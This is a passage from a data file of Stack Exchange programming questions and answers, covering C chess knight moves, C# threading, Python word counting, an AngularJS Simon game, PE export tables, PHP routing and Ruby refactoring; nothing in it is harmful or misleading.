place while the other happens later. If the concerns of the functions were more clearly separated, it would be easier to understand them.I gave it a try myself. Here's how I did it:Position typeThis is all about positions, so let's create a type for that.typedef struct {    signed char column;    int row;}Position;We're not in oop land, but we still group data together if it belongs together. This helps a lot when passing it around.disclaimer: I often see type names like position_t and I absolutely hate that, which is why I'm not using it. Your naming convention may vary.relative knight moves as positionsIs 5 meters an absolute position or a difference between two positions? It can very well be both! In the same idea, let's create an array of Position that represent the relative movements a knight can perform.Position allKnightMovesInAlphabeticalOrder[] = {    {-2, -1},     {-2, +1},     {-1, -2},     {-1, +2},     {+1, -2},     {+1, +2},     {+2, -1},     {+2, +1} };#define numberOfKnightMoves 8As you can see, -2 is a perfectly fine signed char value. 1If you are uncomfortable reusing the Position type which from its name might suggest to be an absolute position, you can always typedef it to a Move type, which makes the intention more clear.position checkA handy helper function could solve the sub-problem of whether a certain position is on the board or not.bool positionIsInChessboard(Position *position){    return         position->column >= 'a' &&        position->column <= 'h' &&        position->row >= 1 &&        position->row <= 8;}You need to #include <stdbool.h> for bool. If you don't want that, you should be able to use _Bool as a return type.making a moveAnother helper function that simply adds two positions together.void addTwoPositions(Position *a, Position *b, Position *result){    result->column = a->column + b->column;    result->row = a->row + b->row;}Again, as a Position might represent a relative movement, this starts to make sense I hope. If not, recall how a 2D vector in math might represent a fixed point or the difference between two points. This is the same idea.putting it all together#include <stdio.h>#include <stdbool.h>typedef struct {    signed char column;    int row;}Position;Position allKnightMovesInAlphabeticalOrder[] = {    {-2, -1},     {-2, +1},     {-1, -2},     {-1, +2},     {+1, -2},     {+1, +2},     {+2, -1},     {+2, +1} };#define numberOfKnightMoves 8bool positionIsInChessboard(Position *position){    return         position->column >= 'a' &&        position->column <= 'h' &&        position->row >= 1 &&        position->row <= 8;}void addTwoPositions(Position *a, Position *b, Position *result){    result->column = a->column + b->column;    result->row = a->row + b->row;}int main (){    Position testPositions[] =     {        {'g', 2},        {'a', 1},        {'d', 6},        {'e', 5},        {'b', 1}    };    int numberOfTestPositions = sizeof(testPositions)/sizeof(Position);    Position result;    for(int testPositionIndex = 0; testPositionIndex < numberOfTestPositions; testPositionIndex++)    {        printf(%c%d:\\t, testPositions[testPositionIndex].column, testPositions[testPositionIndex].row);        for(int moveIndex = 0; moveIndex < numberOfKnightMoves; moveIndex++)        {            addTwoPositions(&testPositions[testPositionIndex], &allKnightMovesInAlphabeticalOrder[moveIndex], &result);            if(positionIsInChessboard(&result))            {                printf(%c%d , result.column, result.row);            }        }        printf(\\r\\n);    }}I hard coded the test positions into main() for brevity. the basic idea for every test case is to iterate over all the possible knight moves, perform them via addTwoPositions() and then check the validity of the result with positionIsInChessboard().I do not build up a buffer as you do in your code simply because that isn't necessary.Here's what I get as a result in terminal:$ ./chess g2: e1 e3 f4 h4 a1: b3 c2 d6: b5 b7 c4 c8 e4 e8 f5 f7 e5: c4 c6 d3 d7 f3 f7 g4 g6 b1: a3 c3 d2 1 thanks @Daniel Jour for pointing out that plain char has an unspecified signedness, which may vary across platforms and compilers.For me, I get the same output for any of the three versions char, signed char or unsigned char. It's still good practice to use signed char as it makes it more obvious that a Position might be a relative position."  } 
{  "id": "_codereview.82374"  , "question": "I need to observe a ConcurrentQueue, but to minimize the resources I want to pause the Thread if the Queue is empty and resume it from another Thread if there is a new Entry in the Queue. I implemented a pausing and an resuming of a thread like this:My Worker, where the DoWork() method is called in a new Thread, looks like this:public static class Worker{    public static bool Running = true;    public static void DoWork()    {        while (Running)        {            try            {                Thread.Sleep(Timeout.Infinite);            }            catch (ThreadInterruptedException)            {                DoActualWork();            }        }    }    private static void DoActualWork()    {        //Do something    }}I start the thread like this:Thread workerThread = new Thread(Worker.DoWork);workerThread.Start();I interrupt the Thread like this:workerThread.Interrupt();I stop the Thread like this:Worker.Running = false;Everything is working as expected but I'm not sure if this is how it should be implemented.Is this best practice? What can go wrong?Is there a problem with the static class and the members? (It have to be static because the Thread have to be interrupted by different Threads)"  , "title": "Is it ok to use Thread.Sleep and Thread.Interrupt for pausing and resuming Thread like this?"  , "tags": "c#;multithreading"  , "accepted_answer": "This is pretty bad.Instead why not use BlockingCollection. Then the loop will be:try{    while(true)    {        doSomethingWith(queue.Take());    }}catch(InvalidOperationException e){    // ignore and cleanup}And to stop the thread you need to call CompleteAdding() on the queue."  } 
{  "id": "_unix.206001"  , "question": "Is there any way to read files from the virtual /proc directory using smbclient?No root access. Both server and client are Debian Linux machines. Server is running Samba 3. Smbclient version is 4.0.6-DebianCopying files from servers /proc filesystem with get /proc/cpuinfo in smbclient's interactive mode result in an empty file being copied."  , "title": "Is there any way to read files from the virtual /proc directory using smbclient?"  , "tags": "linux;samba;proc"  } 
{  "id": "_codereview.8648"  , "question": "Please critique my word frequency generator. I am a beginner programmer so any criticism are welcome.Original Code: http://pastebin.com/rSRfbnCtHere is my revised code after the feedback:import string, time, webbrowser, collections, urllib2def timefunc(function):    def wrapped(*args):        start = time.time()        data = function(*args)        end = time.time()        timetaken = end - start        print Function: +function.__name__+\\nTime taken:,timetaken        return data    return wrapped@timefuncdef process_text(text_file):    words = text_file.read().lower().split()    words = [word.strip(string.punctuation+string.whitespace) for word in words]    words = [word for word in words if word]#skips ''(None) elements    return words@timefuncdef create_freq_dict(wordlist):    freq_dict = collections.Counter(wordlist)    return freq_dict@timefuncdef create_sorted_list(freqdict):    sorted_list = [(value,key) for key,value in list(freqdict.items())]#list() provides python 3 compatibility    sorted_list.sort(reverse=True)    return sorted_list@timefuncdef write_results(sorted_list):    text_file = open('wordfreq.txt','w')    text_file.write('Word Frequency List\\n\\n')    rank = 0    for word in sorted_list:        rank += 1        write_str = [{0}] {1:-<10}{2:->10}\\n.format(rank, word[1],word[0])        text_file.write(write_str)    text_file.close()## The Brothers Grimm## This file can be obtained from Project Gutenberg:## http://www.gutenberg.org/cache/epub/5314/pg5314.txtweb_file = urllib2.urlopen('http://www.gutenberg.org/cache/epub/5314/pg5314.txt')wordlist = process_text(web_file)freqdict = create_freq_dict(wordlist)sorted_list = create_sorted_list(freqdict)results = write_results(sorted_list)webbrowser.open('wordfreq.txt')print END"  , "title": "Word frequency generator in Python"  , "tags": "python;strings"  , "accepted_answer": "import string, time, math, webbrowserdef timefunc(function, *args):    start = time.time()    data = function(*args)    end = time.time()    timetaken = end - startI'd recommend calling this time_taken as its slightly easier to read.    print Function: +function.__name__+\\nTime taken:,timetakenPrint already introduces newlines and combines different pieces. Take advantage of that.   print Function: , function.__name__   print Time Taken: , time_takenThat's easier to follow    return datadef process_text(filename):You never use filename in here, but you do use fin which is the same thing. typo?    t = []Not a very descriptive name. I suggest coming up with something clearer    for line in fin:        for i in line.split():i usually means index which its not here            word = i.lower()            word = word.strip(string.punctuation)            if word != '':                t.append(word)    return tI'd do this as words = fin.read().lower().split() words = [word.strip() for word in words] words = [word for word in words if word] return wordsI think its easier to follow and probably more efficientdef create_freq_dict(wordlist):    d = dict()d is not a very good name. Usually dicts are created with {} not dict(). No difference, but the first is generally preffered    for word in wordlist:        if word not in d.keys():            d[word] = 1        else:            d[word] += 1Use d = collections.defaultdict(int) or d = collections.Counter(). Both will make it easier to count up like this. See the python documentation for collections. You should actually be able to write this function in one line    return ddef sort_dict(in_dict):    t = []    for key,value in in_dict.items():        t.append((value, key))in_dict.items() is a list already, there is no reason to copy the elements into the list. (NOTE: in Python 3.x in_dict.items() is no longer a list). Even if it wasn't a list you could do:    t = list(in_dict.items())Which would do the same thing your code does    t.sort(reverse=True)    return tI'd implement this function asreturn sorted(in_dict.items())The sorted function takes anything sufficiently list-like and produces a sorted list from it.def write_results(sorted_list):sorted_list isn't a great name. It would be better to give an indication of what's in the list.    fout = open('wordfreq.txt','w')    fout.write('Word Frequency List\\n\\n')    r = 0    for i in sorted_list:        r += 1Use for r, (key, value) in enumerate(sortedlist): That way you don't need to manage r yourself, and you can refer the value as value rather then the harder to read i[1].        fillamount = 20 - (len(i[1]) + len(str(r)))Some of the those parens are unnecessary.         write_str = str(r)+': '+i[1]+' '+('-' * (fillamount-2))+' '+str(i[0])+'\\n'Multiplication has precedence, you don't need the parens to make that happen. Also, python has a method ljust which does this for you        write_str = (str(r) + ': ' + i[1]).ljust('-', 20) + str(i[0]) + '\\n'You may also want to consider using string formatting rather then adding strings write_str = ('%d: %s' % (r, i[1])).just('-', 20) + '%d\\n' % i[0]I think its easier to follow, although I'd probably split across several lines        fout.write(write_str)    fout.close()## The Brothers Grimm## This file can be obtained from Project Gutenberg:## http://www.gutenberg.org/cache/epub/5314/pg5314.txtfin = open('c:\\Python27\\My Programs\\wx\\grimm.txt')fin presumable stands for file in. Give a name that indicates what's actually in it ike grim_textwordlist = timefunc(process_text,fin)freqdict = timefunc(create_freq_dict,wordlist)sorted_list = timefunc(sort_dict,freqdict)results = timefunc(write_results,sorted_list)Very nicewebbrowser.open('wordfreq.txt')That's a slightly unusual use of a webbrowserprint END"  } 
{  "id": "_codereview.132839"  , "question": "I am a newbie coder and I'm trying to learn good coding habits.  I'm making a Simon Says game challenge from Free Code Camp in Angular JS.CodepenI have an array that keeps random integers between 1-4:var simonSays = [];This is how I'm currently animating and playing sounds.  I've read that you're not to manipulate the DOM using Angular.  But how would I handle it for my game?var counter = 0, //for looping thru simon's array    innerTimeOutSecs = 1000, //time during each iteration    outerTimeOutSecs = 500, //time before next iteration    simonTurn = false; //if simon is playing, player cannot interrupt simonfunction animateSimonSays() {    simonTurn = true;    $timeout(function() {        var simon = simonSays[counter];        //find the current pad and current audio to light up/play        var currentPad = document.getElementById(pad + simon);        var currentAudio = document.getElementById(pad + simon + _audio);        angular.element(currentPad).addClass(lightUpPad);        currentAudio.play();        $timeout(function() {            currentAudio.pause(); //stop audio            currentAudio.currentTime = 0;            angular.element(currentPad).removeClass(lightUpPad); //'turn off' pad            //get ready for the next simon            counter++;            if (counter < simonSays.length) { //recursion fail condition                animateSimonSays();            } else {                counter = 0;                simonTurn = false;            }        }, innerTimeOutSecs); //how long to stay 'lit'    }, outerTimeOutSecs); //how long before the next simon}It's dirty but it works for my app.  All the examples I found online were jQuery so I couldn't really follow their methodology.var app = angular.module('App', []);app.controller('MainCtrl', ['$scope', '$timeout', function($scope, $timeout) {  var simonSays = [], //push what simon says    copy = [], // compare user answer to simon answer    counter = 0, //for looping thru simon's array    innerTimeOutSecs = 1000, //time during each iteration    outerTimeOutSecs = 500, //delay in resetting to original state of pad and call next pad    simonTurn = false, //if simon is playing, play cannot interrupt simon    currentResponse = true; //used to compare user answer to simon  $scope.count = 0; //number of rounds  $scope.isStrict = false; //is strict mode on/off  $scope.startGame = function() { //start button calls restart    restart();  }  function restart() { //initialize game by setting values in array to empty and start a new round    simonSays = [];    $scope.count = 0;    newRound();  }  function newRound() { //begin next round     if ($scope.count === 20) { //victory alert if player reaches 20 steps      alert(Congratulations. You win!);      restart();      return;    }    $scope.count++; //increase round by one    if ($scope.count % 5 === 0) {      innerTimeOutSecs -=100;      outerTimeOutSecs -=50;    }    simonSays.push(Math.floor(Math.random() * 4 + 1)); //add random step to the end    copy = simonSays.slice(0);    animateSimonSays();  }  function animateSimonSays() { //light works and sound     //TODO: speedup animations after every 5 'count'    simonTurn = true; //simon is playing, user cannot play function again by pressin start    $timeout(function() { //outertimeout      var simon = simonSays[counter]; //setting up iteration of array      var currentPad = document.getElementById(pad + simon); //setting up light show for each       var currentAudio = document.getElementById(pad + simon + _audio); //setup audio      angular.element(currentPad).addClass(lightUpPad); //opacity change      currentAudio.play(); //audio starts      $timeout(function() { //inner timeout        currentAudio.pause(); //stop sound        currentAudio.currentTime = 0; //set audio back to start position        angular.element(currentPad).removeClass(lightUpPad); //return to original opacity         counter++; //setting up next iteration in array         if (counter < simonSays.length) { //test for recursiveness          animateSimonSays(); //calling recursive function for next iteration        } else { //if counter reaches end..          counter = 0; //reset counter          simonTurn = false; //simon turn over        }      }, innerTimeOutSecs); //how long it stays lit    }, outerTimeOutSecs); //next pad  }  //three possible situations  //1.user click wrong pad --> call animate again (last round)  //2.user click right pad but seq not finish --> do nothing  //3.user pick right pad and end of seq --> new round  function checkResponse() {    if (!currentResponse) { // case 1      var buzzer = document.getElementById(buzzer);      buzzer.play();      if ($scope.isStrict) { //strict mode restarts game        $timeout(function() {          buzzer.pause();          buzzer.currentTime = 0;          restart();        }, 1000);        return;      }      $timeout(function() {        buzzer.pause();        buzzer.currentTime = 0;        copy = simonSays.slice(0);        animateSimonSays();      }, 1000);    } else if (currentResponse && copy.length === 0) { //case 3      $timeout(newRound, 1000);    }  }  $scope.registerClick = function(padId) {    if (simonTurn) return; //click does not register during simon turn    //var currentPad = document.getElementById(pad + padId);    var currentAudio = document.getElementById(pad + padId + _audio);    currentAudio.play();    $timeout(function() {      currentAudio.pause();      currentAudio.currentTime = 0;    }, 500);    var desiredResponse = copy.shift(); //pop out first index of the array    var actualResponse = padId;    currentResponse = desiredResponse === actualResponse; //compare click and simon    checkResponse();  }}]);.wrapper {  position: relative;  width: 640px;  margin: 0 auto;}.back {  position: absolute;  top: 170px;  width: 640px;  height: 640px;  z-index: 0;  background-color: #000;  border-radius: 310px;}.pad {  width: 300px;  height: 300px;  float: left;  z-index: 1;  margin: 10px;  -ms-filter: progid:DXImageTransform.Microsoft.Alpha(Opacity=60);  filter: alpha(opacity=60);  opacity: 0.6;  cursor: pointer;}.pad:active {  -ms-filter: progid:DXImageTransform.Microsoft.Alpha(Opacity=100);  filter: alpha(opacity=100);  opacity: 1;}.shape1 {  border-top-left-radius: 300px;  background-color: green;}.shape2 {  float: left;  border-top-right-radius: 300px;  background-color: red;  clear: right;}.shape3 {  float: left;  border-bottom-left-radius: 300px;  background-color: yellow;  clear: left;}.shape4 {  float: left;  border-bottom-right-radius: 300px;  background-color: blue;}.circle {  position: absolute;  top: 195px;  left: 195px;  width: 250px;  height: 250px;  background: #000;  border-radius: 125px;  z-index: 10;}.simon {  text-align: center;  color: white;  font-family: Impact;  font-size: 5em;  margin-top: 25px;}.startButton {  width: 25px;  height: 25px;  border-radius: 50%;  background: red;  margin-left: 25%;  margin-top: 10px;}.strictButton {  width: 25px;  height: 25px;  border-radius: 50%;  background: #ffff00;  margin-top: 8px;  margin-left: 10px;}.strictIndicator {  height: 7px;  width: 7px;  background-color: #32050C;  border-radius: 50%;  margin-left: 20px;  margin-top: -5px;}.strictIndicator-on {  background-color: #DC0D29;}.lightUpPad {  opacity: 1;}.count {  text-align: center;  width: 60px;  height: 50px;  background-color: #32050C;  border-radius: 10px;  margin-left: 15px;  color: #DC0D29;  font-size: 2.5em;  border: 2px solid #222;}.controllabel {  text-align: center;  text-transform: uppercase;  color: #fff;}.countlabel {  margin-left: 15px;}.buttonlabel {  margin-top: 13px;}.controls {  float: left;  margin-left: 13px;}.strictlabel {  margin-top: 13px;}<script src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.5.7/angular.min.js></script><audio preload=auto id=pad1_audio><source src=https://s3.amazonaws.com/freecodecamp/simonSound1.mp3 type=audio/mp3></audio><audio preload=auto id=pad2_audio><source src=https://s3.amazonaws.com/freecodecamp/simonSound2.mp3 type=audio/mp3></audio><audio preload=auto id=pad3_audio><source src=https://s3.amazonaws.com/freecodecamp/simonSound3.mp3 type=audio/mp3></audio><audio preload=auto id=pad4_audio><source src=https://s3.amazonaws.com/freecodecamp/simonSound4.mp3 type=audio/mp3></audio><audio preload=auto id=buzzer><source src=http://soundbible.com/mp3/Basketball Buzzer-SoundBible.com-1863250611.mp3 type=audio/mp3></audio><div ng-app=App ng-controller=MainCtrl>  <div class=wrapper>    <div class=back>      <div id=pad1 class=pad shape1 ng-click=registerClick(1)>      </div>      <div id=pad2 class=pad shape2 ng-click=registerClick(2)>      </div>      <div id=pad3 class=pad shape3 ng-click=registerClick(3)>      </div>      <div id=pad4 class=pad shape4 ng-click=registerClick(4)>      </div>      <div class=circle>        <div class=simon>simon</div>        <div class=controls>          <div class=count>{{count}}</div>          <div class=controllabel countlabel>COUNT</div>        </div>                <div class=controls>          <button class=startButton ng-click=startGame()></button>          <div class=controllabel buttonlabel>START</div>        </div>                <div class=controls>          <div ng-class=isStrict ? 'strictIndicator-on' : '' class=strictIndicator></div>          <button class=strictButton ng-click=isStrict = !isStrict></button>          <div class=controllabel strictlabel>STRICT</div>        </div>      </div>    </div>  </div></div>"  , "title": "Animate and play sounds in Simon Says 'the Angular way'"  , "tags": "javascript;recursion;angular.js;dom;simon says"  } 
{  "id": "_reverseengineering.6634"  , "question": "I've been reverse engineering a PE executable and I came across a behavior that I can't understand. The executable uses both shell32.dll and profapi.dll. I see that shell32.dll delay loads a function in profapi.dll using an ordinal value (I verified this by looking at the delay load import table of shell32.dll). However, profapi.dll does not export any functions as it doesn't even have an export table. I'm examining the delay import and export sections of these DLLs using the Python library pefile. I'm using profapi.dll version 6.1.7600.16385 (as reported by the file properties) on Windows 7.From what I understand, to load a function by ordinal or name from profapi.dll, you still need access to profapi.dll's export table. Is there another way through which profapi.dll could expose the addresses of its functions, or am I missing something?EDIT: It looks like it was an issue with pefile parsing the DLL. I was indeed able to examine the export section using IDApro. I am leaving the question up to highlight what looks like a potential bug in pefile. I am using pefile version 1.2.10-139."  , "title": "Delay imported function not in export table"  , "tags": "dll;pe"  , "accepted_answer": "profapi.dll should certainly have an Export Table. For example, here's the Export Table from profapi.dll version 6.3.9600.16384:There is an export table in .text at 0x10001000The Export Tables (interpreted .text section contents)Export Flags                    0Time/Date stamp                 52157da7Major/Minor                     0/0Name                            00001060 profapi.dllOrdinal Base                    101Number in:        Export Address Table            0000000e        [Name Pointer/Ordinal] Table    00000000Table Addresses        Export Address Table            00001028        Name Pointer Table              00000000        Ordinal Table                   00000000Export Address Table -- Ordinal Base 101        [   0] +base[ 101] 2b24 Export RVA        [   1] +base[ 102] 25c2 Export RVA        [   2] +base[ 103] 3cd9 Export RVA        [   3] +base[ 104] 1089 Export RVA        [   4] +base[ 105] 4a8b Export RVA        [   5] +base[ 106] 49b2 Export RVA        [   6] +base[ 107] 42ae Export RVA        [   7] +base[ 108] 4643 Export RVA        [   8] +base[ 109] 45ce Export RVA        [   9] +base[ 110] 4592 Export RVA        [  10] +base[ 111] 3dc3 Export RVA        [  11] +base[ 112] 4318 Export RVA        [  12] +base[ 113] 428d Export RVA        [  13] +base[ 114] 3bcd Export RVAI just checked version 6.1.7600.16385 from Windows 7 and confirmed that it too has an Export Table, from which it exports 6 functions by ordinal. If the Python library you're using isn't seeing these functions then it's due to a bug in the Python library (or potentially your usage of it).For what it's worth, this is a known issue in older versions of the pefile library and was fixed about a year ago. Perhaps you're using an outdated version?"  } 
{  "id": "_softwareengineering.257488"  , "question": "It seems to be accepted that computers that have been powered on for a long time and have any sort of complex software (ie and OS) running on them they tend to develop random errors and problems. Turning the device off and back on powers off the machine and destroys all volatile memory, generally fixing the problem. First, am I just imagining that or is it accepted? Is there a better description or a word/phrase for it?Second, how do servers deal with this. They are generally 24/7/365 machines. Though multiple machines serving the same page could be turned off individually, is this done in that situation?"  , "title": "How do web servers deal with issues that arise when a machine has been on for a long time?"  , "tags": "web;hardware"  , "accepted_answer": "It might be the accepted norm if you are accustomed to running hardware and software that isn't that stable. But I haven't observed a particular trend of servers running poorly after extended uptime in my career. I've run many a Solaris, Linux or BSD server well past 1000 day uptime and more than a handful have made it to the 1400-1500 day mark. I would update Apache or apply other patches without patching the kernel and just keep trucking. (NOTE: I don't advocate that this as a sys-admin practice, but there are systems that customer's don't want rebooted unless there is a problem).As to how it is done in web servers that just serve pages, you are correct, a page can and is often served by redundant servers and even a content delivery network. Taking down a node shouldn't impact your site if you have redundancy and caches. High availability is all about redundancy. It isn't so important to keep a single node healthy for extended runtimes for a static web site. You really shouldn't need to depend on a single web server today when a Linux VM can be had for $5 a month at Digital Ocean and a 2 node load-balanced Linux setup can be put together for cheap.The shift for the past 10 years has been toward many cheap servers. Back in the 1998-2000 time frame at IBM we were already running massively distributed web farms with 50-100 nodes serving up a single site (Olympics, Wimbledon, US Open, Masters), and now it is commonplace since companies like Google and Facebook published a lot of literature on this technique."  } 
{  "id": "_cstheory.21503"  , "question": "There has been a few questions (1, 2, 3) about transitive completion here that made me think if something like this is possible:Assume we get an input directed graph $G$ and would like to answer queries of type $(u,v)\\in G^+$?, i.e. asking if there exists an edge between two vertices in the transitive completion of a graph $G$? (equivalently, is there a path from $u$ to $v$ in $G$?).Assume after given $G$ you are allowed to run preprocessing in time $f(n,m)$ and then required to answer queries in time $g(n,m)$.Obviously, if $f=0$ (i.e. no preprocessing is allowed), the best you can do is answer a query in time $g(n)=\\Omega(n+m)$. (run DFS from $u$ to $v$ and return true if there exists a path).Another trivial result is that if $f=\\Omega(min\\{n\\cdot m,n^\\omega\\})$, you can compute the transitive closure and then answer queries in $O(1)$.What about something in the middle? If you are allowed, say $f=n^2$ preprocessing time, can you answer queries faster than $O(m+n)$? Maybe improve it to $O(n)$?Another variation is: assume you have $poly(n,m)$ preprocessing time, but only $o(n^2)$ space, can you use the preprocessing to answer queries more efficient than $O(n+m)$?Can we say anything in general about the $f,g$ tradeoff that allows answering such queries?A somewhat similar tradeoff structure is considered in GPS systems, where holding a complete routing table of all pairwise distances between locations is infeasible so it's using the idea of distance oracles which stores a partial table but allow significant query speedup over computing the distance of the whole graph (usually yielding only approximated distance between points)."  , "title": "Computing a transitive completion / path existance oracle"  , "tags": "graph theory;graph algorithms;space time tradeoff;transitive closure"  , "accepted_answer": "Compact reachability oracles exist for planar graphs,Mikkel Thorup: Compact oracles for reachability and approximate distances in planar digraphs. J. ACM 51(6): 993-1024 (2004)but are hard for general graphs (even sparse graphs)Mihai Patrascu: Unifying the Landscape of Cell-Probe Lower Bounds. SIAM J. Comput. 40(3): 827-847 (2011)Nevertheless, there is an algorithm that can compute a close-to-optimal reachability labeling Edith Cohen, Eran Halperin, Haim Kaplan, Uri Zwick: Reachability and Distance Queries via 2-Hop Labels. SIAM J. Comput. 32(5): 1338-1355 (2003)Maxim A. Babenko, Andrew V. Goldberg, Anupam Gupta, Viswanath Nagarajan: Algorithms for Hub Label Optimization. ICALP 2013: 69-80Building on the work of Cohen et al. and others, there is quite a bit of applied research (database community) see e.g.Ruoming Jin, Guan Wang: Simple, Fast, and Scalable Reachability Oracle. PVLDB 6(14): 1978-1989 (2013)Yosuke Yano, Takuya Akiba, Yoichi Iwata, Yuichi Yoshida: Fast and scalable reachability queries on graphs by pruned labeling with landmarks and paths. CIKM 2013: 1601-1606"  } 
{  "id": "_softwareengineering.263196"  , "question": "I'd like to create a developer task collector where I'd put all issues that I see need some work but are not User Story related (e.g. fix some not visible quirks in startup animation, scan code with lint, enable EasyTracker in application, clean unused resources, etc.).I don't know when we'll have time to work all those issues, maybe next Sprint we'll do one of them and two Sprints later we'll work one etc.How to deal with it in Scrum/Sprint planning? Also should Product Owner decide what to do and when?"  , "title": "How to work on not User Story related tasks"  , "tags": "agile;scrum;product owner;jira"  } 
{  "id": "_codereview.136220"  , "question": "I'm writing a MVC app, I've put effort into writing index.php since it must be the entrance point (like main for C and Java) imho.I would like to ensure if someone who were to work on this file wouldn't be confused. require_once 'App/config.php'; //main constants are defined hererequire_once 'App/autoload.php';if(strpos(URL,'error/'))    goto start;try{    Connection::set(DBMS,HOST,PORT,DB_NAME,DB_USER,DB_PWD,$PDO_OPTIONS);    DAO::init();}catch(Exception $e){    if(!PROD){ //if the app is online PROD=TRUE        throw $e;    }else        header('location: '.WEBROOT.'error/503/',503);    exit;}session_start();if(!isset($_SESSION['user']))     $_SESSION[user] = new Guest;start:    try{        extract($_GET);        unset($_GET);        if(isset($controller, $action, $params))            Dispatcher::dispatch($controller, $action, $params);        else if (isset($controller, $action))            Dispatcher::dispatch($controller, $action);        else if (isset($controller, $params))            Dispatcher::dispatch($controller, NULL, $params);        else if (isset($controller))            Dispatcher::dispatch($controller);        else            Dispatcher::dispatch();        echo Dispatcher::deliver(); //output the response    }catch(Throwable $t){        if(!PROD)            throw $t;        else if($t instanceof TypeError && strpos($t->getTrace()[0],'Dispatcher.php'))            header('location: '.WEBROOT.'error/400/',400);        else if(strpos($t->getMessage(),'not found'))            header('location: '.WEBROOT.'error/404/',404);        else            header('location: '.WEBROOT.'error/503/',503);    }"  , "title": "index.php implementation"  , "tags": "php;mvc"  } 
{  "id": "_softwareengineering.273981"  , "question": "Problem Statement:I have a tree with node values ( i , j ) where i , j < 1. The children of each node take on the values (i - 1, j), (i - 1, j - 1), and (i, j - 1) respectively. Now, i and j have constraints where they cannot be less than zero, so, given i (or j WLOG) == 0 for a node, its only child becomes (0, j - 1) (assuming j > 0).These nodes represent the indices of a matrix, and what the children represent are either the index to the West, the North, or the North West of the currently selected index. (Notice 0 either represents the West edge or the North edge of the matrix)I have written a recursive algorithm that will produce the number of different directions you can walk to get from node_0 (i, j) to the beginning.def backtrackrecursion( currentnode, counter ):    if currentnode.getindex() == (0 , 0):        return counter++    if currentnode.geti() > 0:        currentnode.addchild(Node(index=(i - 1, j)))    if currentnode.getj() > 0:        currentnode.addchild(Node(index=(i, j - 1)))    if currentnode.getindex() >= ( 1 , 1 ):        currentnode.addchild(Node(index=(i - 1, j - 1)))    for child in currentnode.getchildren():        counter += backtrackrecursion(child, counter)    return counterI understand why this works. My girlfriend wrote another algorithm, and to my astonishment, it works as well.def btr(cnode, cou):    if cnode.getindex() == ( 0 , 0 ):        return cou++    if cnode.getindex() != (0 , 0):        cou = btr(cnode.inddecr( -1, 0), cou) + btr(cnode.inddecr(0, -1), cou) + btr(cnode.inddrec( -1 , -1 ), cou)    return counow I might have missed a property in her class that deletes all children with index i or j < 0, but shouldn't this be an infinite call? Where is the logic that I am missing?"  , "title": "Why does this recursion method work? I have explored it for a day or two, and I cannot figure out why"  , "tags": "recursion"  } 
{  "id": "_unix.138398"  , "question": "I have file with 200 lines.I need to extract lines from 10 to 100 and put them into a new file.How do you do this in unix/Linux?What are the possible commands you could use?"  , "title": "How to get lines 10 to 100 from a 200 line file into a new file"  , "tags": "text processing;sed;tail;head"  } 
{  "id": "_codereview.31770"  , "question": "So a page where I do a search based on a bunch of filters but all of them are optionals.I have my controller here:def distribution    begin      @service_request = ServiceRequest.find(params[:id])      @claimed, @unclaimed = 0, 0      @conditions = ContractorSearchConditions.new()      @conditions.zipcode = @service_request.zipcode.to_s      @conditions.search_terms = params[:filters].present? && params[:filters][:keywords].present? ? params[:filters][:keywords] : 'general'      params[:filters].present? && params[:filters][:proximity].present? ? @conditions.mile_radius = params[:filters][:proximity] :      params[:filters].present? && params[:filters][:results].present? ? @conditions.page_size = params[:filters][:results] :      @conditions.page = 1      @contractors = Contractor.search(@conditions)      @contractors.each do |contractor|        if contractor.uid == 26          @unclaimed = @unclaimed+ 1        else          @claimed = @claimed+ 1        end      end    rescue => e      flash[:error] = #{e}      redirect_to :action => :edit    end  endAnd my struct here:class ContractorSearchConditions < Struct.new(:search_terms, :state, :zipcode, :lat, :lng, :mile_radius, :account_type, :page, :page_size)  #convert zipcode into lat, lon, and state  def prepare    zip = ZipCode.find(zipcode)    self.state.nil? ? self.state = zip.state : self.state = self.state    self.lat.nil? ? self.lat = zip.latitude.to_f : self.lat = self.lat.to_f    self.lng.nil? ? self.lng = zip.longitude.to_f : self.lng = self.lng.to_f    self.mile_radius.nil? ? self.mile_radius = 15 : self.mile_radius = self.mile_radius.to_i    self.page_size.nil? ? self.page_size = 50 : self.page_size = self.page_size.to_i    self.page.nil? ? self.page = 1 : self.page = self.page  endendandThe thing is that my struct will be used in different controller across the app so I went to check the params and set default ones.But I'm quite not happy with the all my line of if.Any idea how I could make it better ?Edit:New distribution method:    begin      @service_request = ServiceRequest.find(params[:id])      if params[:filters].nil?        params[:filters] =  Hash.new        params[:filters] = {:mile_radius => 15, :page_size => 50, :search_terms => 'general', :score => 100}     end     @conditions = ContractorSearchConditions.new(params[:filters])     @conditions.zipcode = @service_request.zipcode.to_s     @contractors = Contractor.search(@conditions)     @claimed, @unclaimed = 0, 0     @contractors.each do |contractor|      if contractor.uid == 26        @unclaimed = @unclaimed+ 1      else        @claimed = @claimed+ 1      end    rescue => e      flash[:error] = #{e}      redirect_to :action => :edit    end  endand here is the view:<fieldset>            <div class=row>                <div class=form-group col-lg-12>            <%= f.label :keywords, Keywords, :class => 'control-label' %>              <%= f.input :keywords, :required => true, :label => false, :as => :string, :input_html => {:class => 'form-control', :maxlength => 255, :value => params[:filters][:keywords]}, :no_wrapper => true %>                    <hr>                </div>            </div>            <div class=row>                <div class=form-group col-lg-2>            <%= f.label :results, # Results, :class => 'control-label' %>              <%= f.input :results, :required => true, :label => false, :input_html => {:class => 'form-control', :value => params[:filters][:results]}, :no_wrapper => true, :as => :number %>                </div>                <div class=form-group col-lg-2>            <%= f.label :proximity, Proximity, :class => 'control-label' %>              <%= f.input :proximity, :required => true, :label => false, :input_html => {:class => 'form-control', :value => params[:filters][:proximity]}, :no_wrapper => true, :as => :number %>                </div>            </div>        </fieldset>and my struct:class ContractorSearchConditions < Struct.new(:search_terms, :state, :zipcode, :lat, :lon, :mile_radius, :account_type, :page, :page_size)  #convert zipcode into lat, lon, and state  def prepare    zip = ZipCode.find(zipcode)    self.lat = (lat.nil? ? zip.latitude : lat).to_f    self.lon = (lon.nil? ? zip.longitude : lon).to_f    self.state = (state.nil? ? zip.state : state).to_s    self.mile_radius = (mile_radius.nil? ? '15' : mile_radius).to_i    self.page_size = (page_size.nil? ? 50 : page_size).to_i    self.page = (page.nil? ? 1 : page).to_i    self.search_terms = (search_terms.nil? ? 'general' : search_terms).to_s  endend"  , "title": "Improve a list of if"  , "tags": "ruby;ruby on rails"  , "accepted_answer": "Many things here.Style considerationsFirst, in ruby conditionals are expressions, so instead of :self.lat.nil? ? self.lat = zip.latitude.to_f : self.lat = 